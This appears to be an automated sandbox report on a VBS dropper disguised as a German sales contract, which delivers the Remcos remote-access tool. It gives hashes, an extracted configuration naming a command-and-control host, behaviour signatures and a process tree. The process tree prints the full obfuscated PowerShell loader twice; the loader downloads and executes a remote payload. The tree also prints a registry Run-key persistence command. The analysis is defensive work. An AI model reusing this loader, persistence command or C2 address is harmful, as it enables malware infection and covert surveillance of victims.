Analysis

  • max time kernel
    299s
  • max time network
    299s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/10/2024, 02:54

General

  • Target

    31102024_0254_Kaufvertrag-Markus-Daten.vbs

  • Size

    366KB

  • MD5

    28489bd43750ec8a5017ec4bb7ca68e2

  • SHA1

    90e42439a8179e56d56ffd5a2c97d7ff7f0daaca

  • SHA256

    7e6c9757b46fc71815670a8056b6db913409bb571775642ef865ea633fe41cc9

  • SHA512

    9470e3c42bf13f73bf43abdaacad0721a213b0e5b9376a2ce813ba39d55f8e154fe959dce2dd0cf6cb56904fbbf0003360e4f38e576cf330447cb8d0b9ff1f1c

  • SSDEEP

    6144:QUad3PmM9BogPjFvVHhSZH/7h4hpAQErkpZPU/I7CIkKOmPPMWUwUhkOy96SZGFT:aQL6PErk7gvOZMmanT1A02Oh

Malware Config

Extracted

Family

remcos

Botnet

TelOu62tos

C2

www.tla-autos.com:9945

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    TeleAuto8926-8WB4GE

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Blocklisted process makes network request 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\31102024_0254_Kaufvertrag-Markus-Daten.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:880
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Mastigophobia pigritia Untractarian Rightists Excerpist Damasceres Campaspe #>;$Rhizophoraceae26='Patriarkaternes';<#Precorruptness Regeringsoverhoveder Polianthes Badelagenerne #>; function Mikki($Fremlysningerne174){If ($host.DebuggerEnabled) {$Hugorme++;}$Grafikrutines=$Theomania+$Fremlysningerne174.'Length'-$Hugorme; for ( $Rasterets240=2;$Rasterets240 -lt $Grafikrutines;$Rasterets240+=3){$Dissour=$Rasterets240;$Monistiskes+=$Fremlysningerne174[$Rasterets240];$Jentjenerne='Kontrakternes';}$Monistiskes;}function Forureningsforebyg($Cuddlier){ & ($Matematikemne) ($Cuddlier);}$Vrinsker=Mikki ' uM no Cz Mi elPelF aTi/ a ';$Vaskemaskinens=Mikki ' AT lEpsSc1 2 i ';$Systemkartoteker='Sc[ InKneArt E.Nes .eCurinvBuiBuCCye pPN.oovIFanEpt mStAE nInA CgSkeKaRFo]e : ,:PhsPaemiC ,UU.RT,iBotSuYlip RrL o jtFao RC Mo el S=,e$SiV aa eSvakSles.MEmA,isPakAriMaN Be SN.psN ';$Vrinsker+=Mikki 'Fr5 T.Af0 c Si(NuWAsi .nFid CoRiwInsD. AnN UTDi Mi1B 0 J. ,0ba; a UbWApiTrnSu6 D4 L;pe SyxEm6In4Me; m Clr v M:Ka1I.3,u1 o. C0 F)K. GrG neopc ekCooU /I.2 T0Wi1No0Su0 A1Em0 .1De FiFS,iRermueExf Bo Cxbo/ e1Ud3 H1Pr.P,0 a ';$Europaudvalg=Mikki 'V u as eRyrSm- BAAtG UEOvnShTSp ';$Medsster=Mikki 'Ruh .tSttSip ds .: N/P / wL wK wR..A,sAfe LvHaet,n utkookao lA.sCu.TrdFjeja/TiwSvp .-AiaAmdSkmn iCunEl/SwuAfsB.e ar n/WacZyeN,rSluFosS e.o.And Sw Pp u ';$Satieno=Mikki 'Sc>,o ';$Matematikemne=Mikki 'FlI BE sXNo ';$Downstrokes='Islamite212';$Radioavisers148='\Udskriftssiders.boe';Forureningsforebyg (Mikki 'Ad$GyG rLOvONob.aAC.lKo: HFoAF,mS pSiEunGT,AChr hNReeThRBoNTrEP s K=Gu$Hpe CNC,VVe:Ura nPK.p edBeA lT aa ,+,e$crrSaa DTri BOS.aEevInIDoSRoe,nRT S .1S,4B 8Be ');Forureningsforebyg (Mikki 'Du$ GC lS ORebFoaMol C:MiF uoDiR Dk aIArNE.Geu2Fr3Kl3,i= S$ErmVoeBadWrSDeS St ee nR S.,rS GpR,LSkiGat T(Ov$ AsMua.oT ,ILieDynAfOep)B ');Forureningsforebyg (Mikki $Systemkartoteker);$Medsster=$Forking233[0];$Antibiotikaer=(Mikki '.r$PrGGaLbaoC.B A KLRe:Tsi.qn.uDE iBav iAnDM.u.eaEkl.niDeS STGiS a=E,N eEKoWBr-Dyo kBOvJ oe.ac MtSe Rs AYP sT tEfe Amar.Z,n eShT,n.HowT,e AbFiC,elVri.le,eNM.tVe ');Forureningsforebyg ($Antibiotikaer);Forureningsforebyg (Mikki 'In$MuI .nNadmai ovDeiSpdTruGraBilBei HsS tTasF,.,eHs,eShaSid e trPrs o[Ur$ iE,ouUnrCooMipsuaOpuHod v PaBelHyg o]So= r$ IVCor ai Mn HsExk einr r ');$Unbloodiness=Mikki ' Y$ RI .n bdBeiObv riNodMuuGua l iD s Ft PsEu.AdDPeo cw,snArlDroS a dK.FGoi SlAneDe(D.$alMNieSkdFlsSis atS,eParDi, P$ cYPodIneNor iSignoeSksS )Ko ';$Yderiges=$Hampegarnernes;Forureningsforebyg (Mikki ' A$ iG elSeoT B iA AL U:BrKQua,oGLiSHytMirVeyPrg,anTaiOvnAmGKi=Ud(FiT NEFeSFiTB.- PGra UtClHso D$AbYPadWie RRoIOrg eKlsSt)An ');while (!$Kagstrygning) {Forureningsforebyg (Mikki 'Wh$U gUdl oo lbStaSalG.:CiPB h aCosGem SaAftBlr noA,pDaeRe=Un$WrtS r SuPre t ') ;Forureningsforebyg $Unbloodiness;Forureningsforebyg (Mikki 'MuSS.tUnAFlRFotEp-HeSK.lB,e teB,Pam Si4ov ');Forureningsforebyg (Mikki 'In$DaG eLOro FbSta ILR :StKFaaApghos,at FrSayMaG hn Di,rnSogIn= .( nt PE SSraTAn- ,PT AunTb hRe Fd$L.y dC.eKerA IOrgInEAts l) t ') ;Forureningsforebyg (Mikki 'Co$G,G Sl eoPaBBiaAkLR.: HhClo lReD ,EwapPilThaUddMoS uEKorT = $InGPolErOBabw aBeLMi:A,PEarErO vAfIStaT.NDotUne.inFiS U+My+ A%Fa$H F KOInrSok iI oN Gh.2Un3Em3Wo. .C aoSnUTwNSmTPa ') ;$Medsster=$Forking233[$Holdepladser];}$Lepidodendrids=339347;$merchandise=28186;Forureningsforebyg (Mikki 'Ra$MaG SLTrOGaBBaA LW,:SaSTroO g nO,eDivB eKrj gSPu D =No DegF.eUntBl-roC SoHyn,iT ReMin AtBe .n$Mny,rDFoE.prFlI RGS EUnsL ');Forureningsforebyg (Mikki 'Dd$Pug.ilHvo eb ra l.a:S S HePrrP vC i Cc Se SyUbdnoe ,lt.sMae erPe Sk=,m Sk[DeSMoyPasKot,ae imM .YeC ooPonPtv yeKirNetf.] A: r:KoFMorRuoCam DBj a asC.eRi6Si4.vS.ft,orali MnskgPu(Co$ .SM oOpgH nUde.evFieRajUdsT.)Cl ');Forureningsforebyg (Mikki 'Ov$ G El FoE,bPaa aLha: nu tNB PCyR moT pEmAFlg,laNeN ,D yiFiS uTPeIO,cF. El=Se Sk[ SsDoy,iSH T PE AM F.ret PEDyXSeTla.ApePonOnC oRaDHyIRuNS gIm]Un:Is:KvA ,SSlcE,IM IMe..hgHyeReT sHaT ,rYaIOpN ng V(Ox$,hS ,eS R BVBrIe CUrE AyR dVueA LRgS EUrRSa)H, ');Forureningsforebyg (Mikki 'In$F gS.lH,OOpBEkAUll,n:UnO .POmLA.SExE mlKaI VGDdh SEErDScE PnvoS.d=Ed$A usjnFlP FrUdOAvpA AKogSeAAfn OdUdi VsAntHeiV cSt.MaSS UobBHest t URStIN NR.gCh(B,$ lAeE RpSuIDiDAno PDKoEhaNG DTiRReISpd EsCe,Fy$BamSkED.r,oc H.ea.hNAcd NISiSSqe.n) n ');Forureningsforebyg $Oplselighedens;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2804
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Mastigophobia pigritia Untractarian Rightists Excerpist Damasceres Campaspe #>;$Rhizophoraceae26='Patriarkaternes';<#Precorruptness Regeringsoverhoveder Polianthes Badelagenerne #>; function Mikki($Fremlysningerne174){If ($host.DebuggerEnabled) {$Hugorme++;}$Grafikrutines=$Theomania+$Fremlysningerne174.'Length'-$Hugorme; for ( $Rasterets240=2;$Rasterets240 -lt $Grafikrutines;$Rasterets240+=3){$Dissour=$Rasterets240;$Monistiskes+=$Fremlysningerne174[$Rasterets240];$Jentjenerne='Kontrakternes';}$Monistiskes;}function Forureningsforebyg($Cuddlier){ & ($Matematikemne) ($Cuddlier);}$Vrinsker=Mikki ' uM no Cz Mi elPelF aTi/ a ';$Vaskemaskinens=Mikki ' AT lEpsSc1 2 i ';$Systemkartoteker='Sc[ InKneArt E.Nes .eCurinvBuiBuCCye pPN.oovIFanEpt mStAE nInA CgSkeKaRFo]e : ,:PhsPaemiC ,UU.RT,iBotSuYlip RrL o jtFao RC Mo el S=,e$SiV aa eSvakSles.MEmA,isPakAriMaN Be SN.psN ';$Vrinsker+=Mikki 'Fr5 T.Af0 c Si(NuWAsi .nFid CoRiwInsD. AnN UTDi Mi1B 0 J. ,0ba; a UbWApiTrnSu6 D4 L;pe SyxEm6In4Me; m Clr v M:Ka1I.3,u1 o. C0 F)K. GrG neopc ekCooU /I.2 T0Wi1No0Su0 A1Em0 .1De FiFS,iRermueExf Bo Cxbo/ e1Ud3 H1Pr.P,0 a ';$Europaudvalg=Mikki 'V u as eRyrSm- BAAtG UEOvnShTSp ';$Medsster=Mikki 'Ruh .tSttSip ds .: N/P / wL wK wR..A,sAfe LvHaet,n utkookao lA.sCu.TrdFjeja/TiwSvp .-AiaAmdSkmn iCunEl/SwuAfsB.e ar n/WacZyeN,rSluFosS e.o.And Sw Pp u ';$Satieno=Mikki 'Sc>,o ';$Matematikemne=Mikki 'FlI BE sXNo ';$Downstrokes='Islamite212';$Radioavisers148='\Udskriftssiders.boe';Forureningsforebyg (Mikki 'Ad$GyG rLOvONob.aAC.lKo: HFoAF,mS pSiEunGT,AChr hNReeThRBoNTrEP s K=Gu$Hpe CNC,VVe:Ura nPK.p edBeA lT aa ,+,e$crrSaa DTri BOS.aEevInIDoSRoe,nRT S .1S,4B 8Be ');Forureningsforebyg (Mikki 'Du$ GC lS ORebFoaMol C:MiF uoDiR Dk aIArNE.Geu2Fr3Kl3,i= S$ErmVoeBadWrSDeS St ee nR S.,rS GpR,LSkiGat T(Ov$ AsMua.oT ,ILieDynAfOep)B ');Forureningsforebyg (Mikki $Systemkartoteker);$Medsster=$Forking233[0];$Antibiotikaer=(Mikki '.r$PrGGaLbaoC.B A KLRe:Tsi.qn.uDE iBav iAnDM.u.eaEkl.niDeS STGiS a=E,N eEKoWBr-Dyo kBOvJ oe.ac MtSe Rs AYP sT tEfe Amar.Z,n eShT,n.HowT,e AbFiC,elVri.le,eNM.tVe ');Forureningsforebyg ($Antibiotikaer);Forureningsforebyg (Mikki 'In$MuI .nNadmai ovDeiSpdTruGraBilBei HsS tTasF,.,eHs,eShaSid e trPrs o[Ur$ iE,ouUnrCooMipsuaOpuHod v PaBelHyg o]So= r$ IVCor ai Mn HsExk einr r ');$Unbloodiness=Mikki ' Y$ RI .n bdBeiObv riNodMuuGua l iD s Ft PsEu.AdDPeo cw,snArlDroS a dK.FGoi SlAneDe(D.$alMNieSkdFlsSis atS,eParDi, P$ cYPodIneNor iSignoeSksS )Ko ';$Yderiges=$Hampegarnernes;Forureningsforebyg (Mikki ' A$ iG elSeoT B iA AL U:BrKQua,oGLiSHytMirVeyPrg,anTaiOvnAmGKi=Ud(FiT NEFeSFiTB.- PGra UtClHso D$AbYPadWie RRoIOrg eKlsSt)An ');while (!$Kagstrygning) {Forureningsforebyg (Mikki 'Wh$U gUdl oo lbStaSalG.:CiPB h aCosGem SaAftBlr noA,pDaeRe=Un$WrtS r SuPre t ') ;Forureningsforebyg $Unbloodiness;Forureningsforebyg (Mikki 'MuSS.tUnAFlRFotEp-HeSK.lB,e teB,Pam Si4ov ');Forureningsforebyg (Mikki 'In$DaG eLOro FbSta ILR :StKFaaApghos,at FrSayMaG hn Di,rnSogIn= .( nt PE SSraTAn- ,PT AunTb hRe Fd$L.y dC.eKerA IOrgInEAts l) t ') ;Forureningsforebyg (Mikki 'Co$G,G Sl eoPaBBiaAkLR.: HhClo lReD ,EwapPilThaUddMoS uEKorT = $InGPolErOBabw aBeLMi:A,PEarErO vAfIStaT.NDotUne.inFiS U+My+ A%Fa$H F KOInrSok iI oN Gh.2Un3Em3Wo. .C aoSnUTwNSmTPa ') ;$Medsster=$Forking233[$Holdepladser];}$Lepidodendrids=339347;$merchandise=28186;Forureningsforebyg (Mikki 'Ra$MaG SLTrOGaBBaA LW,:SaSTroO g nO,eDivB eKrj gSPu D =No DegF.eUntBl-roC SoHyn,iT ReMin AtBe .n$Mny,rDFoE.prFlI RGS EUnsL ');Forureningsforebyg (Mikki 'Dd$Pug.ilHvo eb ra l.a:S S HePrrP vC i Cc Se SyUbdnoe ,lt.sMae erPe Sk=,m Sk[DeSMoyPasKot,ae imM .YeC ooPonPtv yeKirNetf.] A: r:KoFMorRuoCam DBj a asC.eRi6Si4.vS.ft,orali MnskgPu(Co$ .SM oOpgH nUde.evFieRajUdsT.)Cl ');Forureningsforebyg (Mikki 'Ov$ G El FoE,bPaa aLha: nu tNB PCyR moT pEmAFlg,laNeN ,D yiFiS uTPeIO,cF. El=Se Sk[ SsDoy,iSH T PE AM F.ret PEDyXSeTla.ApePonOnC oRaDHyIRuNS gIm]Un:Is:KvA ,SSlcE,IM IMe..hgHyeReT sHaT ,rYaIOpN ng V(Ox$,hS ,eS R BVBrIe CUrE AyR dVueA LRgS EUrRSa)H, ');Forureningsforebyg (Mikki 'In$F gS.lH,OOpBEkAUll,n:UnO .POmLA.SExE mlKaI VGDdh SEErDScE PnvoS.d=Ed$A usjnFlP FrUdOAvpA AKogSeAAfn OdUdi VsAntHeiV cSt.MaSS UobBHest t URStIN NR.gCh(B,$ lAeE RpSuIDiDAno PDKoEhaNG DTiRReISpd EsCe,Fy$BamSkED.r,oc H.ea.hNAcd NISiSSqe.n) n ');Forureningsforebyg $Oplselighedens;"
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of NtCreateThreadExHideFromDebugger
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3540
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "ineffableness" /t REG_EXPAND_SZ /d "%Disfoliage% -windowstyle 1 $Varetagelsen=(gp -Path 'HKCU:\Software\Aetheogamic\').Lerholdighedens;%Disfoliage% ($Varetagelsen)"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2788
      • C:\Windows\SysWOW64\reg.exe
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "ineffableness" /t REG_EXPAND_SZ /d "%Disfoliage% -windowstyle 1 $Varetagelsen=(gp -Path 'HKCU:\Software\Aetheogamic\').Lerholdighedens;%Disfoliage% ($Varetagelsen)"
        3⤵
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Modifies registry key
        PID:4508

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          d336b18e0e02e045650ac4f24c7ecaa7

          SHA1

          87ce962bb3aa89fc06d5eb54f1a225ae76225b1c

          SHA256

          87e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27

          SHA512

          e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ai1g2wb3.vbn.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Roaming\Udskriftssiders.boe

          Filesize

          478KB

          MD5

          a66871827ec32000db2ab1efb66b2438

          SHA1

          629ca79946fd964665568b28869476f8d691916f

          SHA256

          b08a2437ae0a2ebfc9d15f851d4c422becb7280614dfab150e6be501c481f1bc

          SHA512

          7cd0683ba79a1f42a66eac2d5c2ba04d0b7d4adaa52a2f3e18896803663cb1e7433867bf0e7c8a04397786117d82d24fcca4ed3874382065e045b581230efcc4

        • memory/2804-0-0x00007FFA367A3000-0x00007FFA367A5000-memory.dmp

          Filesize

          8KB

        • memory/2804-1-0x0000017BA0010000-0x0000017BA0032000-memory.dmp

          Filesize

          136KB

        • memory/2804-11-0x00007FFA367A0000-0x00007FFA37261000-memory.dmp

          Filesize

          10.8MB

        • memory/2804-12-0x00007FFA367A0000-0x00007FFA37261000-memory.dmp

          Filesize

          10.8MB

        • memory/2804-15-0x00007FFA367A0000-0x00007FFA37261000-memory.dmp

          Filesize

          10.8MB

        • memory/2804-18-0x00007FFA367A0000-0x00007FFA37261000-memory.dmp

          Filesize

          10.8MB

        • memory/3540-33-0x0000000005B80000-0x0000000005ED4000-memory.dmp

          Filesize

          3.3MB

        • memory/3540-37-0x0000000007740000-0x0000000007DBA000-memory.dmp

          Filesize

          6.5MB

        • memory/3540-22-0x00000000058C0000-0x0000000005926000-memory.dmp

          Filesize

          408KB

        • memory/3540-21-0x0000000004FE0000-0x0000000005002000-memory.dmp

          Filesize

          136KB

        • memory/3540-20-0x00000000050E0000-0x0000000005708000-memory.dmp

          Filesize

          6.2MB

        • memory/3540-35-0x0000000005FA0000-0x0000000005FBE000-memory.dmp

          Filesize

          120KB

        • memory/3540-36-0x0000000005FF0000-0x000000000603C000-memory.dmp

          Filesize

          304KB

        • memory/3540-23-0x0000000005930000-0x0000000005996000-memory.dmp

          Filesize

          408KB

        • memory/3540-38-0x0000000006530000-0x000000000654A000-memory.dmp

          Filesize

          104KB

        • memory/3540-39-0x00000000070C0000-0x0000000007156000-memory.dmp

          Filesize

          600KB

        • memory/3540-40-0x0000000006FB0000-0x0000000006FD2000-memory.dmp

          Filesize

          136KB

        • memory/3540-41-0x0000000007DC0000-0x0000000008364000-memory.dmp

          Filesize

          5.6MB

        • memory/3540-19-0x0000000002600000-0x0000000002636000-memory.dmp

          Filesize

          216KB

        • memory/3540-43-0x0000000008370000-0x00000000092C9000-memory.dmp

          Filesize

          15.3MB

        • memory/3540-51-0x00000000229E0000-0x0000000023C34000-memory.dmp

          Filesize

          18.3MB

        • memory/3540-58-0x00000000229E0000-0x0000000023C34000-memory.dmp

          Filesize

          18.3MB